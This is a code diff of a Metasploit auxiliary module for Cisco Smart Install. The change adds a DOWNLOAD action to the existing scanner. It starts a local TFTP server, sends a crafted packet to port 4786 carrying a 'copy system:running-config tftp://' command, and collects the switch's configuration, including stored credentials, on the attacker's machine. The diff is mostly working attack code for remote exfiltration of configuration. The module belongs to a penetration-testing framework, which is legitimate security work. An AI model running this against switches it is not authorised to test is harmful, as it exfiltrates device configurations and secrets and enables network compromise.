5
5
6
6
class MetasploitModule < Msf ::Auxiliary
7
7
include Msf ::Exploit ::Remote ::Tcp
8
+ include Msf ::Auxiliary ::Cisco
8
9
include Msf ::Auxiliary ::Scanner
9
10
include Msf ::Auxiliary ::Report
10
11
@@ -18,7 +19,7 @@ def initialize(info = {})
18
19
and determines if it speaks the Smart Install Protocol. Exposure of SMI
19
20
to untrusted networks can allow complete compromise of the switch.
20
21
) ,
21
- 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>' ,
22
+ 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' , 'Mumbai' ] ,
22
23
'References' =>
23
24
[
24
25
[ 'URL' , 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html' ] ,
@@ -28,13 +29,21 @@ def initialize(info = {})
28
29
[ 'URL' , 'https://github.com/Sab0tag3d/SIET' ]
29
30
30
31
] ,
31
- 'License' => MSF_LICENSE
32
+ 'License' => MSF_LICENSE ,
33
+ 'DefaultAction' => 'SCAN' ,
34
+ 'Actions' => [
35
+ [ 'SCAN' , { 'Description' => 'Scan for instances communicating via Smart Install Protocol (default)' } ] ,
36
+ [ 'DOWNLOAD' , { 'Description' => 'Retrieve configuration via Smart Install Protocol' } ]
37
+ ] ,
32
38
)
33
39
)
34
40
35
41
register_options (
36
42
[
37
- Opt ::RPORT ( 4786 )
43
+ Opt ::RPORT ( 4786 ) ,
44
+ OptAddressLocal . new ( 'LHOST' , [ false , "The IP address of the system running this module" ] ) ,
45
+ OptInt . new ( 'SLEEP' , [ true , "Time to wait for config to come back" , 10 ] ) ,
46
+ OptString . new ( 'CONFIG' , [ true , "The source config to copy when using DOWNLOAD" , "system:running-config" ] )
38
47
]
39
48
)
40
49
end
@@ -46,7 +55,7 @@ def smi?
46
55
sock . puts ( SMI_PROBE )
47
56
response = sock . get_once ( -1 )
48
57
if response
49
- if SMI_RE . match? ( response )
58
+ if SMI_RE . match ( response )
50
59
print_good ( "Fingerprinted the Cisco Smart Install protocol" )
51
60
return true
52
61
else
@@ -57,10 +66,77 @@ def smi?
57
66
end
58
67
end
59
68
60
- def run_host ( _ip )
69
+ def start_tftp
70
+ print_status ( "Starting TFTP Server..." )
71
+ @tftp = Rex ::Proto ::TFTP ::Server . new ( 69 , '0.0.0.0' , { 'Msf' => framework , 'MsfExploit' => self } )
72
+ @tftp . incoming_file_hook = Proc . new { |info | process_incoming ( info ) }
73
+ @tftp . start
74
+ add_socket ( @tftp . sock )
75
+ @main_thread = ::Thread . current
76
+ end
77
+
78
+ def cleanup
79
+ # Cleanup is called once for every single thread
80
+ if ::Thread . current == @main_thread
81
+ # Wait 5 seconds for background transfers to complete
82
+ print_status ( "Providing some time for transfers to complete..." )
83
+ sleep ( 5 )
84
+
85
+ if @tftp
86
+ print_status ( "Shutting down the TFTP service..." )
87
+ @tftp . close rescue nil
88
+ @tftp = nil
89
+ end
90
+ end
91
+ end
92
+
93
+ #
94
+ # Callback for incoming files
95
+ #
96
+ def process_incoming ( info )
97
+ return if not info [ :file ]
98
+ name = info [ :file ] [ :name ]
99
+ data = info [ :file ] [ :data ]
100
+ from = info [ :from ]
101
+ return if not ( name && data && from )
102
+
103
+ # Trim off IPv6 mapped IPv4 if necessary
104
+ from = from [ 0 ] . dup
105
+ from . gsub! ( '::ffff:' , '' )
106
+
107
+ print_status ( "Incoming file from #{ from } - #{ name } (#{ data . length } bytes)" )
108
+ cisco_ios_config_eater ( from , rport , data )
109
+ end
110
+
111
+ def decode_hex ( string )
112
+ string . scan ( /../ ) . map { |x | x . hex } . pack ( 'c*' )
113
+ end
114
+
115
+ def request_config ( tftp_server , config )
116
+ copy_config = "copy #{ config } tftp://#{ tftp_server } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
117
+ packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
118
+ packet = ( decode_hex ( packet_header ) + copy_config + decode_hex ( ( '00' * ( 336 - copy_config . length ) ) ) ) + ( decode_hex ( ( '00' * ( 336 ) ) ) ) + ( decode_hex ( ( '00' * 336 ) ) )
119
+ print_status ( "Attempting #{ copy_config } " )
120
+ sock . put ( packet )
121
+ end
122
+
123
+ def run_host ( ip )
61
124
begin
62
- connect
63
- return unless smi?
125
+ case
126
+ when action . name == 'SCAN'
127
+ connect
128
+ return unless smi?
129
+ when action . name == 'DOWNLOAD'
130
+ start_tftp
131
+ connect
132
+ return unless smi?
133
+ disconnect # cant send any additional packets, so closing
134
+ connect
135
+ tftp_server = datastore [ 'LHOST' ] || Rex ::Socket . source_address ( ip )
136
+ request_config ( tftp_server , datastore [ 'CONFIG' ] )
137
+ print_status ( "Waiting #{ datastore [ 'SLEEP' ] } seconds for configuration" )
138
+ Rex . sleep ( datastore [ 'SLEEP' ] )
139
+ end
64
140
rescue Rex ::AddressInUse , Rex ::HostUnreachable , Rex ::ConnectionTimeout , Rex ::ConnectionRefused , \
65
141
::Errno ::ETIMEDOUT , ::Timeout ::Error , ::EOFError => e
66
142
vprint_error ( "error while connecting and negotiating Cisco Smart Install: #{ e } " )
0 commit comments